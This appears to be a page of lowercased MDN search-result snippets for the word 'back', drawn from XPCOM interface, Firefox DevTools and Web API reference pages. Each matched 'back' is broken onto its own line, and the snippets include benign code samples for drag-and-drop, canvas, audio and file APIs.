back to be called on completion.
nsIFocusManager
this flag would normally be passed when movefocus_forward or movefocus_
backward is used.
... movefocus_
backward 2 move focus
backward one element, used when pressing shift+tab.
... movefocus_
backwarddoc 4 move focus forward to the previous frame document, used when pressing shift+f6.
nsIIdleService
the observer will get an 'idle' notification when the user is idle for that interval (or longer), and receive a '
back' (gecko 3 to 15) or 'active' (gecko 16+) notification when the user starts using their computer again.
... methods addidleobserver() add an observer to be notified when the user idles for some period of time, and when they get
back from that.
...when the user goes idle, the observer topic is 'idle' and when they get
back, the observer topic is '
back' in gecko 15 and earlier or 'active' in gecko 16 and later.
nsIInterfaceRequestor
the main difference is that interfaces returned are not required to provide a way
back to the object implementing nsiinterfacerequestor.
... the semantics of nsisupports.queryinterface() dictate that given an interface a that you nsisupports.queryinterface() on to get to interface b, you must be able to nsisupports.queryinterface() on b to get
back to a.
... nsiinterfacerequestor, however, allows you to obtain an interface c from a that may (or most likely) will not have the ability to get
back to a.
nsIMessenger
for example,
back-forward history needs a list of visited messages, and where it is in the list.
...+1 is forward, -1 is
back.
...+1 is forward, -1 is
back.
nsIPlacesImportExportService
implemented by: @mozilla.org/import-export-service;1 as a service: var placesimportexportservice = components.classes["@mozilla.org/import-export-service;1"] .getservice(components.interfaces.nsiplacesimportexportservice); method overview void
backupbookmarksfile(); void exporthtmltofile(in nsilocalfile afile); void importhtmlfromfile(in nsilocalfile afile, in boolean aisinitialimport); obsolete since gecko 14.0 void importhtmlfromfiletofolder(in nsilocalfile afile, in print64 afolder, in boolean aisinitialimport); obsolete since gecko 14.0 void importhtmlfromuri(in nsiuri auri, in boolean aisinitialimpor...
...t); obsolete since gecko 14.0 methods
backupbookmarksfile()
backs up the bookmarks.html file.
... void
backupbookmarksfile(); parameters none.
nsIPrintingPrompt
each platform has a "base" or "
backstop" implementation of the service.
... defaults for platform service: showprintdialog - displays a native dialog showpagesetup() - displays a xul dialog showprogress() - displays a xul dialog summary for windows embedders: stated once again: there is no "fall
back" native platform support in gfx for the displaying of the native print dialog.
... to fly your own dialog you may: implement this service to display at least the print dialog and a print progress dialog or you may implement just one of the dialogs and pass
back ns_error_not_implemented for any of the others.
nsIUpdate
toolkit/mozapps/update/nsiupdateservice.idlscriptable an interface that describes an object representing an available update to the current application - this update may have several available patches from which one must be selected to download and install, for example we might select a binary difference patch first and attempt to apply that, then if the application process fails fall
back to downloading a complete file-replace patch.
... showprompt boolean whether to show the update prompt which requires user confirmation when an update is found during a
background update check.
... this overrides the default setting to download the update in the
background.
nsIUpdateTimerManager
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void registertimer(in astring id, in nsitimercall
back call
back, in unsigned long interval); methods registertimer() presents a user interface that checks for and displays the available updates.
... void registertimer( in astring id, in nsitimercall
back call
back, in unsigned long interval ); parameters id an id used to identify the timer interval; used for persistence.
... call
back an nsitimercall
back object that is notified when the interval expires.
nsIWebBrowser
the embedder must explicitly set this value
back to nsnull if the chrome object is destroyed before the browser object.
...in that case, the embedder should explicitly set this value
back to null if the parent content listener is destroyed before the browser object.
... methods addwebbrowserlistener() registers a listener of the type specified by the iid to receive call
backs.
nsIWindowWatcher
setwindowcreator() set the window creator call
back.
... void setwindowcreator( in nsiwindowcreator creator ); parameters creator the nsiwindowcreator call
back.
... if this is null the call
back will be cleared and window creation capabilities lost.
Using nsIDirectoryService
you can directly add a new nsifile with any property string using the nsiproperties interface: components.classes["@mozilla.org/file/directory_service;1"] .getservice(components.interfaces.nsiproperties) .set("myfilename", file); now, if your cost is too high to set all of these properties at once, you can register to be a call
back that can provide an nsifile.
...apart from this interface there is a function, registerprovider which will allow you to register a nsidirectoryserviceprovider, which implements the getfile call
back function: var provider = { getfile : function(prop, persistant) { // return an nsifile }, } components.classes["@mozilla.org/file/directory_service;1"] .getservice(components.interfaces.nsidirectoryservice).registerprovider(provider); when the call
back is called, it will be passed the string key, and should return an nsifile.
...known locations the nsiproperties strings for currently defined locations can be found in: nsdirectoryservicedefs.h nsappdirectoryservicedefs.h nsxulappapi.h content formerly at http://www.mozilla.org/projects/xpco...locations.html
background the way in which mozilla components locate special files and directories has changed.
Address book sync client design
// // step 3: // get the response
back from the server.
... then apply the server changes
back // to the local database (updating the crc's in the process).
...this provides feed
back of the current sync operation.
Working with data
for example: var num = ctypes.int64.join(-0x12345678, 0x90abcdef); performing arithmetic with 64-bit values the int64 and uint64 objects don't provide any methods for performing arithmetic, which means you'll have to do it yourself by pulling out the high and low 32-bit portions and doing math on them, then joining them
back together if necessary to get the complete result.
... you'll also have to handle carry from the low to high word and
back as appropriate.
...once the math is done, the two values are joined
back together.
Structures - Plugins
structure summary npanycall
backstruct contains information required during embedded mode printing.
... npprintcall
backstruct contains information required by the platformprint field of the npembedprint during embedded mode printing.
... npsetwindowcall
backstruct contains information about the plug-in's unix window environment.
All keyboard shortcuts - Firefox Developer Tools
enter return enter step forward through the attributes of a node tab tab tab step
backward through the attributes of a node shift + tab shift + tab shift + tab (when an attribute is selected) start editing the attribute enter return enter hide/show the selected node h h h focus on the search box in the html pane ctrl + f cmd + f ctrl + f edit as html f2 f2 f2 stop editing html f2 / ctrl +en...
... command windows macos linux focus on the search box in the css pane ctrl + f cmd + f ctrl + f clear search box content (only when the search box is focused, and content has been entered) esc esc esc step forward through properties and values tab tab tab step
backward through properties and values shift + tab shift + tab shift + tab start editing property or value (rules view only, when a property or value is selected, but not already being edited) enter or space return or space enter or space cycle up and down through auto-complete suggestions (rules view only, when a property or value is being edited) up arrow , dow...
...and windows macos linux scroll to start of console output (only if the command line is empty) home home home scroll to end of console output (only if the command line is empty) end end end page up through console output page up page up page up page down through console output page down page down page down go
backward through command history up arrow up arrow up arrow go forward through command history down arrow down arrow down arrow initiate reverse search through command history/step
backwards through matching commands f9 ctrl + r f9 step forward through matching command history (after initiating reverse search) shift + f9 ctrl + s shift + f...
Dominators view - Firefox Developer Tools
the retaining paths panel shows you, for a given node, the 5 shortest paths
back from this node to a gc root.
... to see the retaining paths for a node, you have to select the node in the dominators tree panel: here, we've selected an object, and can see a single path
back to a gc root.
... sometimes there's more than one retaining path
back from a node: here there are three paths
back from the documentprototype node to a gc root.
Work with animations - Firefox Developer Tools
the animation's fill the play
back rate of the animation information about the animated element to the left of each bar is a selector for the element that the animation applies to.
... animation play
back at the top of the animation inspector: there are buttons to play/pause and restart the animation there's a dropdown to change the animation play
back rate the current time in the animation is displayed.
... finally, if you click inside the bar at the top of the timeline, you get a scrubber that you can drag left and right to move
backwards and forwards through the animation, and pinpoint exactly what's happening when.
Console messages - Firefox Developer Tools
then any messages or errors your source generates will show up in the web console with a link
back to the original source, not the compressed version.
...ill cause an immediate, synchronous, reflow, when it calls window.getcomputedstyle(thing).height: var thing = document.getelementbyid("the-thing"); thing.style.display = "inline-block"; var thingheight = window.getcomputedstyle(thing).height; because of this, it's a good idea to avoid interleaving write and read calls to an element's styles when manipulating the dom, because every time you read
back a style that has been invalidated by a previous write call, you force a synchronous reflow.
...additionally, many of these messages help educate developers because they end with a “learn more” link that takes you to a page with
background information and advice for mitigating the issue.
AudioBufferSourceNode.loop - Web APIs
when the time specified by the loopend property is reached, play
back continues at the time specified by loopstart example in this example, the audiocontext.decodeaudiodata function is used to decode an audio track and put it into an audiobuffersourcenode.
... buttons are provided to play and stop the audio play
back, and a slider control is used to change the play
backrate property value on the fly.
...rce.) function getdata() { source = audioctx.createbuffersource(); request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; source.play
backrate.value = play
backcontrol.value; source.connect(audioctx.destination); source.loop = true; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // wire up buttons to stop and play audio, and range slider control play.onclick = function() { getdata(); source.start(0); play.setattribute('disabled', 'disabled'); play
backcontrol...
AudioBufferSourceNode.loopStart - Web APIs
syntax audiobuffersourcenode.loopstart = startoffsetinseconds; startoffsetinseconds = audiobuffersourcenode.loopstart; value a floating-point number indicating the offset, in seconds, into the audio buffer at which each loop should begin during play
back.
...buttons are provided to play and stop the audio play
back, and slider controls are used to change the play
backrate, loopstart, and loopend properties on the fly.
... = audioctx.createbuffersource(); request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; songlength = buffer.duration; source.buffer = mybuffer; source.play
backrate.value = play
backcontrol.value; source.connect(audioctx.destination); source.loop = true; loopstartcontrol.setattribute('max', math.floor(songlength)); loopendcontrol.setattribute('max', math.floor(songlength)); }, function(e){"error with decoding audio data" + e.err}); } request.send(); } ...
AudioListener - Web APIs
audiolistener.positionz represents the longitudinal (
back and forth) position of the listener in a right-hand cartesian coordinate sytem.
... audiolistener.forwardz represents the longitudinal (
back and forth) position of the listener's forward direction in the same cartesian coordinate sytem as the position (positionx, positiony, and positionz) values.
... audiolistener.upz represents the longitudinal (
back and forth) position of the top of the listener's head in the same cartesian coordinate sytem as the position (positionx, positiony, and positionz) values.
CSSImageValue - Web APIs
the cssimagevalue interface of the css typed object model api represents values for properties that take an image, for example
background-image, list-style-image, or border-image-source.
... examples we create an element <button>magic wand</button> we add some css, including a
background image requesting a binary file: button { display: inline-block; min-height: 100px; min-width: 100px;
background: no-repeat 5% center url(https://mdn.mozillademos.org/files/16793/magicwand.png) aqua; } we get the element's style map.
... we then get() the
background-image from the stylemap and stringify it: // get the element const button = document.queryselector( 'button' ); // retrieve all computed styles with computedstylemap() const allcomputedstyles = button.computedstylemap(); // return the cssimagevalue example console.log( allcomputedstyles.get('
background-image') ); console.log( allcomputedstyles.get('
background-image').tostring() ); specifications specification status comment css typed om level 1the definition of 'cssimagevalue' in that specification.
CSSVariableReferenceValue() - Web APIs
syntax new cssvariablereferencevalue(variable[, fall
back]]) parameters variable a custom property name.
... fall
back optional.
... a custom property fall
back value.
CanvasRenderingContext2D.globalAlpha - Web APIs
we begin by drawing a solid
background composed of four differently colored squares.
...if we were to increase the step count (and thus draw more circles), the
background would eventually disappear completely from the center of the image.
... <canvas id="canvas" width="150" height="150"></canvas> const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // draw
background ctx.fillstyle = '#fd0'; ctx.fillrect(0, 0, 75, 75); ctx.fillstyle = '#6c0'; ctx.fillrect(75, 0, 75, 75); ctx.fillstyle = '#09f'; ctx.fillrect(0, 75, 75, 75); ctx.fillstyle = '#f30'; ctx.fillrect(75, 75, 75, 75); ctx.fillstyle = '#fff'; // set transparency value ctx.globalalpha = 0.2; // draw transparent circles for (let i = 0; i < 7; i++) { ctx.beginpath(); ctx.arc(75, 75, 10 + 10 * i, 0, math.pi * 2, true); ctx.fill(); } screenshotlive sample specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.globalalpha' in that specification.
Hit regions and accessibility - Web APIs
fall
back content the content inside the <canvas> ...
... </canvas> tags can be used as a fall
back for browsers which don't support canvas rendering.
... in the
background is a pink circle.
Document: drag event - Web APIs
html <div class="dropzone"> <div id="draggable" draggable="true" ondragstart="event.datatransfer.setdata('text/plain',null)"> this div is draggable </div> </div> <div class="dropzone"></div> <div class="dropzone"></div> <div class="dropzone"></div> css #draggable { width: 200px; height: 20px; text-align: center;
background: white; } .dropzone { width: 200px; height: 20px;
background: blueviolet; margin-bottom: 10px; padding: 10px; } javascript var dragged; /* events fired on the draggable target */ document.addeventlistener("drag", function(event) { }, false); document.addeventlistener("dragstart", function(event) { // store a ref.
...style.opacity = ""; }, false); /* events fired on the drop targets */ document.addeventlistener("dragover", function(event) { // prevent default to allow drop event.preventdefault(); }, false); document.addeventlistener("dragenter", function(event) { // highlight potential drop target when the draggable element enters it if (event.target.classname == "dropzone") { event.target.style.
background = "purple"; } }, false); document.addeventlistener("dragleave", function(event) { // reset
background of potential drop target when the draggable element leaves it if (event.target.classname == "dropzone") { event.target.style.
background = ""; } }, false); document.addeventlistener("drop", function(event) { // prevent default action (open as link for some elements) event...
....preventdefault(); // move dragged elem to the selected drop target if (event.target.classname == "dropzone") { event.target.style.
background = ""; dragged.parentnode.removechild( dragged ); event.target.appendchild( dragged ); } }, false); specifications specification status comment html living standardthe definition of 'drag event' in that specification.
Document.visibilityState - Web APIs
it is useful to know if the document is in the
background or an invisible tab, or only loaded for pre-rendering.
...in practice this means that the document is either a
background tab or part of a minimized window, or the os screen lock is active.
... typical use of this can be to prevent the download of some assets when the document is solely prerendered, or stop some activities when the document is in the
background or minimized.
Element: auxclick event - Web APIs
the former changes the color of the button
background, while the latter changes the button foreground (text) color.
... javascript let button = document.queryselector('button'); let html = document.queryselector('html'); function random(number) { return math.floor(math.random() * number); } function randomcolor() { return `rgb(${random(255)}, ${random(255)}, ${random(255)})`; } button.onclick = function() { button.style.
backgroundcolor = randomcolor(); }; button.onauxclick = function(e) { e.preventdefault(); button.style.color = randomcolor(); } button.oncontextmenu = function(e) { e.preventdefault(); } notice that in addition to capturing the auxclick event using onauxclick, the contextmenu event is also captured, and preventdefault() called on that event, in order to prevent the context menu from popping ...
... html <button><h1>click me!</h1></button> css html { height: 100%; overflow: hidden; } body { height: inherit; display: flex; justify-content: center; align-items: center; margin: 0; } button { border: 0;
background-color: white; font-size: 8vw; display: block; width: 100%; height: 100%; } h1 { letter-spacing: 0.5rem; } result note: if you are using a three-button mouse, you'll notice that the onauxclick handler is run when any of the non-left mouse buttons are clicked (usually including any "special" buttons on gaming mice).
Element.getBoundingClientRect() - Web APIs
cross-browser fall
back scripts requiring high cross-browser compatibility can use window.pagexoffset and window.pageyoffset instead of window.scrollx and window.scrolly.
... <div></div> div { width: 400px; height: 200px; padding: 20px; margin: 50px auto;
background: purple; } let elem = document.queryselector('div'); let rect = elem.getboundingclientrect(); for (var key in rect) { if(typeof rect[key] !== 'function') { let para = document.createelement('p'); para.textcontent = `${ key } : ${ rect[key] }`; document.body.appendchild(para); } } notice how the width/height are equal to the equal to its width/height + padding.
...with ie and edge, not being able to add missing properties to their returned clientrect, object prevents
backfilling x and y.
FetchEvent - Web APIs
the browser creates these objects itself and provides them to fetch event call
backs.
...for get requests it tries to return a match in the cache, and falls
back to the network.
... const cache = await caches.open('dynamic-v1'); const cachedresponse = await cache.match(event.request); if (cachedresponse) { // if we found a match in the cache, return it, but also // update the entry in the cache in the
background.
Using files from web applications - Web APIs
you need to provide a visual cue for the focus status of the hidden input field on its label, be it an outline as shown above, or
background-color or box-shadow.
...after creating the new filereader object, we set up its onload function and then call readasdataurl() to start the read operation in the
background.
... when the entire contents of the image file are loaded, they are converted into a data: url which is passed to the onload call
back.
FileSystemDirectoryReader.readEntries() - Web APIs
the filesystemdirectoryreader interface's readentries() method retrieves the directory entries within the directory being read and delivers them in an array to a provided call
back function.
... syntax readentries(successcall
back[, errorcall
back]); parameters successcall
back a function which is called when the directory's contents have been retrieved.
... errorcall
back optional a call
back function which is called if an error occurs while reading from the directory.
FileSystemEntry.copyTo() - Web APIs
syntax filesystementry.copyto(newparent[, newname][, successcall
back][, errorcall
back]); parameters newparent a filesystemdirectoryentry object specifying the destination directory for the copy operation.
... successcall
back optional a function which is called when the copy operation is succesfully completed.
... errorcall
back optional an optional call
back which is executed if an error occurs while copying the items.
FileSystemEntry.getParent() - Web APIs
syntax filesystementry.getparent(successcall
back[, errorcall
back]); parameters successcall
back a function which is called when the parent directory entry has been retrieved.
... the call
back receives a single input parameter: a filesystemdirectoryentry object representing the parent directory.
... errorcall
back optional an optional call
back which is executed if an error occurs.
FileSystemEntry.moveTo() - Web APIs
syntax filesystementry.moveto(newparent[, newname][, successcall
back][, errorcall
back]); parameters newparent a filesystemdirectoryentry object specifying the destination directory for the move operation.
... successcall
back optional a function which is called when the move operation is succesfully completed.
... errorcall
back optional an optional call
back which is executed if an error occurs while moving the items.
FileSystemFileEntry - Web APIs
inside the success call
back, event handlers are set up to handle the error error and writeend events.
... implemented with the vendor prefix: webkitcreatewriter deprecatednon-standardchrome full support 8edge full support 79firefox no support 50 — 52notes no support 50 — 52notes notes while the createwriter() method existed, it immediately called errorcall
back with the ns_error_dom_security_err error.ie no support noopera no support nosafari no support nowebview android full support ≤37chrome android full support 18firefox androi...
...d no support 50 — 52notes no support 50 — 52notes notes while the createwriter() method existed, it immediately called errorcall
back with the ns_error_dom_security_err error.opera android no support nosafari ios no support nosamsung internet android full support yesfilechrome full support 8edge full support 79firefox full support 50ie no support noopera no support nosafari ...
Geolocation.getCurrentPosition() - Web APIs
syntax navigator.geolocation.getcurrentposition(success[, error[, [options]]) parameters success a call
back function that takes a geolocationposition object as its sole input parameter.
... error optional an optional call
back function that takes a geolocationpositionerror object as its sole input parameter.
... timeout: integer (milliseconds) - amount of time before the error call
back is invoked, if 0 it will never invoke.
Geolocation.watchPosition() - Web APIs
you can also, optionally, specify an error handling call
back function.
... syntax navigator.geolocation.watchposition(success[, error[, options]]) parameters success a call
back function that takes a geolocationposition object as an input parameter.
... error optional an optional call
back function that takes a geolocationpositionerror object as an input parameter.
GlobalEventHandlers.onanimationcancel - Web APIs
v> </div> </div> <div class="button" id="togglebox"> hide the box </div> <pre id="log"></pre> css :root { --boxwidth: 50px; } .main { width: 300px; height: 300px; border: 1px solid black; } .button { cursor: pointer; width: 300px; border: 1px solid black; font-size: 16px; text-align: center; margin-top: 0; padding-top: 2px; padding-bottom: 4px; color: white;
background-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } #text { width: 46px; padding: 10px; position: relative; text-align: center; align-self: center; color: white; font: bold 1.4em "lucida grande", "open sans", sans-serif; } leaving out some bits of the css that don't matter for the discussion here, let's take a look at the styles for the box that we're animat...
... #box { width: var(--boxwidth); height: var(--boxwidth); left: 0; top: 0; border: 1px solid #7788ff; margin: 0; position: relative;
background-color: #2233ff; display: flex; justify-content: center; animation: 5s ease-in-out 0s infinite alternate both slidebox; } the animation's keyframes are described next, plotting a course from the top-left corner of the content box to the bottom-right corner.
... @keyframes slidebox { from { left:0; top:0; } to { left:calc(100% - var(--boxwidth)); top:calc(100% - var(--boxwidth)) } } since the animation is described as taking place an infinite number of times, alternating direction each time, the box will glide
back and forth between the two corners until stopped or the page is closed.
GlobalEventHandlers.ondragend - Web APIs
lang=en> <title>examples of using the drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's
background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.
background = "lightblue"; ev.preventdefault(); } function drop_handler(ev) { console.log("drop"...
...); ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's
background color for enter events ev.currenttarget.style.
background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's border
back to white ev.currenttarget.style.
background = "white"; } function dragend_handler(ev) { console.log("dragend"); // change the target element's
background color to visually indicate // the drag ended.
... var el=document.getelementbyid("target"); el.style.
background = "pink"; } function dragexit_handler(ev) { console.log("dragexit"); // change the source element's border
back to green to signify a dragexit event ev.currenttarget.style.
background = "green"; } function init() { // set handlers for the source's enter/leave/end/exit events var el=document.getelementbyid("source"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it...
GlobalEventHandlers.ondragenter - Web APIs
lang=en> <title>examples of using the drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's
background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.
background = "lightblue"; ev.preventdefault(); } function drop_handler(ev) { console.log("drop"...
...); ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's
background color for enter events ev.currenttarget.style.
background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's border
back to white ev.currenttarget.style.
background = "white"; } function dragend_handler(ev) { console.log("dragend"); // change the target element's
background color to visually indicate // the drag ended.
... var el=document.getelementbyid("target"); el.style.
background = "pink"; } function dragexit_handler(ev) { console.log("dragexit"); // change the source element's border
back to green to signify a dragexit event ev.currenttarget.style.
background = "green"; } function init() { // set handlers for the source's enter/leave/end/exit events var el=document.getelementbyid("source"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it...
GlobalEventHandlers.ondragexit - Web APIs
lang=en> <title>examples of using the drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's
background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.
background = "lightblue"; ev.preventdefault(); } function drop_handler(ev) { console.log("drop"...
...); ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's
background color for enter events ev.currenttarget.style.
background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's border
back to white ev.currenttarget.style.
background = "white"; } function dragend_handler(ev) { console.log("dragend"); // change the target element's
background color to visually indicate // the drag ended.
... var el=document.getelementbyid("target"); el.style.
background = "pink"; } function dragexit_handler(ev) { console.log("dragexit"); // change the source element's border
back to green to signify a dragexit event ev.currenttarget.style.
background = "green"; } function init() { // set handlers for the source's enter/leave/end/exit events var el=document.getelementbyid("source"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it...
GlobalEventHandlers.ondragleave - Web APIs
solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's border to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's
background color to signify a drag over event // has occurred ev.currenttarget.style.
background = "lightblue"; ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's...
...
background color for enter events ev.currenttarget.style.
background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's
background color
back to white ev.currenttarget.style.
background = "white"; } function dragend_handler(ev) { console.log("dragend"); // change the target element's
background color to visually indicate // the drag ended.
... var el=document.getelementbyid("target"); el.style.
background = "pink"; } function dragexit_handler(ev) { console.log("dragexit"); // change the source element's
background color
back to green to signify a dragexit event ev.currenttarget.style.
background = "green"; } function init() { // set handlers for the source's enter/leave/end/exit events var el=document.getelementbyid("source"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this elemen...
HTMLBodyElement - Web APIs
htmlbodyelement.
background is a domstring that represents the description of the location of the
background image resource.
... htmlbodyelement.bgcolor is a domstring that represents the
background color for the document.
... recommendation the following properties are now obsolete: alink, bgcolor,
background, link, text, and vlink.
HTMLCanvasElement.mozFetchAsStream() - Web APIs
syntax void canvas.mozfetchasstream(call
back, type); parameters call
back an nsiinputstreamcall
back.
...also uses netutil.jsm var canvas = document.getelementbyid('canvas'); var d = canvas.width; ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.moveto(d / 2, 0); ctx.lineto(d, d); ctx.lineto(0, d); ctx.closepath(); ctx.fillstyle = 'yellow'; ctx.fill(); var netutilcall
back = function() { return function(result) { if (!components.issuccesscode(result)) { alert('failed to create icon'); } else { alert('succesfully made'); } }; } var mfascall
back = function(iconname) { return function(instream) { var file = fileutils.getfile('desk', [iconname + '.ico']); var outstream = fileutils.openfileoutputstream...
...(file); cu.import('resource://gre/modules/netutil.jsm'); netutil.asynccopy(instream, outstream, netutilcall
back()); } } canvas.mozfetchasstream(mfascall
back('myicon'), 'image/vnd.microsoft.icon'); specifications not part of any specification.
HTMLImageElement.alt - Web APIs
the htmlimageelement property alt provides fall
back (alternate) text to display when the image specified by the <img> element is not loaded.
...if the image doesn't require a fall
back (such as for an image which is simply decorative or an advisory icon of minimal importance), you may specify an empty string ("").
... body { margin: 0; padding: 0; } p { margin-block-start: 0; margin-block-end: 1em; margin-top: 0; margin-bottom: 1em; } .container { width: 100vh; height: 95vh; font: 16px arial,helvetica,sans-serif; } .left-margin {
background-color: rgb(241, 240, 237, 255); width: 9em; height: 100%; float: left; margin-right: 5px; padding-right: 1em; display: flex; align-items: center; justify-content: center; } .left-margin img { width: 6em; } .contents {
background-color: rgb(241, 240, 235, 255); height: 100%; margin-left: 2em; padding-top: 1em; padding-left: 2em; padding-right: 1em; } result ...
HTMLImageElement.srcset - Web APIs
if the condition descriptor is not provided (in other words, the image candidate provides only a url), the candidate is used as the fall
back if none of the other candidates match.
...an additional, fall
back image candidate is provided without any condition at all, to be used for any other width.
...a fall
back image is provided as an svg file that should be used in all other cases.
HTMLMarqueeElement - Web APIs
htmlmarqueeelement.bgcolor sets the
background color through color name or hexadecimal value.
... living standard made obsolete in favor of css but define its expected behavior for
backward compatibility.
... recommendation made obsolete in favor of css but define its expected behavior for
backward compatibility.
HTMLMediaElement.currentTime - Web APIs
the htmlmediaelement interface's currenttime property specifies the current play
back time in seconds.
... syntax var currenttime = htmlmediaelement.currenttime; htmlmediaelement.currenttime = 35; value a double-precision floating-point value indicating the current play
back time in seconds.
... if the media is not yet playing, the value of currenttime indicates the time position within the media at which play
back will begin once the play() method is called.
HTMLMediaElement.readyState - Web APIs
have_current_data 2 data is available for the current play
back position, but not enough to actually play more than one frame.
... have_future_data 3 data for the current play
back position as well as for at least a little bit of time into the future is available (in other words, at least two frames of video, for example).
...it will then check if at least the current play
back position has been loaded.
HTMLTableElement.bgColor - Web APIs
the htmltableelement.bgcolor property represents the
background color of the table.
...the css
background-color property should be used instead by modifying the element's style object or using a style rule.
... example // set table
background colour to lightblue var t = document.getelementbyid('tablea'); t.bgcolor = 'lightblue'; specification dom level 2 html:htmltableelement .bgcolor ...
HTMLTextAreaElement - Web APIs
this is "forward" if selection was performed in the start-to-end direction of the current locale, or "
backward" for the opposite direction.
...*/ { keycode: 38 }).keycode, // put here the maximum number of characters per line: ncols = 30, // put here the maximum number of lines: nrows = 5, nsels = ofield.selectionstart, nsele = ofield.selectionend, sval = ofield.value, nlen = sval.length, n
backward = nsels >= ncols ?
... nsels - ncols : 0, ndeltaforw = sval.substring(n
backward, nsels).search(new regexp("\\n(?!.{0," + string(ncols - 2) + "}\\n)")) + 1, nrowstart = n
backward + ndeltaforw, areturns = (sval.substring(0, nsels) + sval.substring(nsele, sval.length)).match(/\n/g), nrowend = nsele + nrowstart + ncols - nsels, srow = sval.substring(nrowstart, nsels) + sval.substring(nsele, nrowend > nlen ?
HTMLVideoElement - Web APIs
microsoft extensions htmlvideoelement.msframestep() steps the video by one frame forward or one frame
backward.
... htmlvideoelement.msislayoutoptimalforplay
back read only indicates whether the video can be rendered more efficiently.
... htmlvideoelement.getvideoplay
backquality() returns a videoplay
backquality object that contains the current play
back metrics.
In depth: Microtasks and the JavaScript runtime environment - Web APIs
this information is provided as a basis for why microtasks are useful and how they function; if you don't care, you can skip this and come
back later if you find that you need to.
... event loops each agent is driven by an event loop, which collects any user and other events, enqueuing tasks to handle each call
back.
... tasks vs microtasks a task is any javascript scheduled to be run by the standard mechanisms such as initially starting to execute a program, an event triggering a call
back, and so forth.
Recommended Drag Types - Web APIs
it is recommended to always add data of the text/plain type as a fall
back for applications or drop targets that do not support other types, unless there is no logical text alternative.
...for example: var dt = event.datatransfer; dt.setdata("text/uri-list", "https://www.mozilla.org"); dt.setdata("text/plain", "https://www.mozilla.org"); as usual, set the text/plain type last, as a fall
back for the text/uri-list type.
... the text/plain fall
back for multiple links should include all urls, but no comments.
IDBTransaction - Web APIs
transaction failures transactions can fail for a fixed number of reasons, all of which (except the user agent crash) will trigger an abort call
back: abort due to bad requests, e.g.
